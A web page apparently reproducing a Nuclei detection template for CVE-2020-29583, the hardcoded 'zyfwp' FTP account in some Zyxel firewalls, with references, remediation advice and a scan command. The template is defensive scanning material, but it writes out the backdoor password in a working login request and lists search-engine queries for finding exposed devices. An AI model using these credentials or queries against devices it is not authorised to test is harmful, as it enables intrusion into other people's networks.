ZyXel USG - Hardcoded Credentials

ID: CVE-2020-29583

Severity: critical

Author: canberbamber

Tags: cve,cve2020,ftp-backdoor,zyxel,bypass,kev

Description

A hardcoded credential vulnerability was identified in the ‘zyfwp’ user account in some Zyxel firewalls and AP controllers. The account was designed to deliver automatic firmware updates to connected access points through FTP.

YAML Source

id: CVE-2020-29583

info:
  name: ZyXel USG - Hardcoded Credentials
  author: canberbamber
  severity: critical
  description: |
    A hardcoded credential vulnerability was identified in the 'zyfwp' user account in some Zyxel firewalls and AP controllers. The account was designed to deliver automatic firmware updates to connected access points through FTP.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the affected device, potentially leading to further compromise of the network.
  remediation: |
    Update the firmware of the ZyXel USG device to the latest version, which addresses the hardcoded credentials issue.
  reference:
    - https://www.zyxel.com/support/CVE-2020-29583.shtml
    - https://support.zyxel.eu/hc/en-us/articles/360018524720-Zyxel-security-advisory-for-hardcoded-credential-vulnerability-CVE-2020-29583
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29583
    - https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html
    - http://ftp.zyxel.com/USG40/firmware/USG40_4.60(AALA.1)C0_2.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29583
    cwe-id: CWE-522
    epss-score: 0.96125
    epss-percentile: 0.995
    cpe: cpe:2.3:o:zyxel:usg20-vpn_firmware:4.60:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: zyxel
    product: usg20-vpn_firmware
    shodan-query:
      - title:"USG FLEX 100"
      - http.title:"usg flex 100"
    fofa-query: title="usg flex 100"
    google-query: intitle:"usg flex 100"
  tags: cve,cve2020,ftp-backdoor,zyxel,bypass,kev

http:
  - raw:
      - |
        GET /?username=zyfwp&password=PrOw!aN_fXp HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /ext-js/index.html HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'data-qtip="Web Console'
          - 'CLI'
          - 'Configuration"></a>'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220249ea444d563a1db3dc9de0851513d89a663c8fe9f6b76f4ac0fb1c99c9ab52c022064a62784074b6ca9c12aeb4201bb3828634c54e4beb11cbc16cd3afbcde8671a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-29583.yaml"

View on Github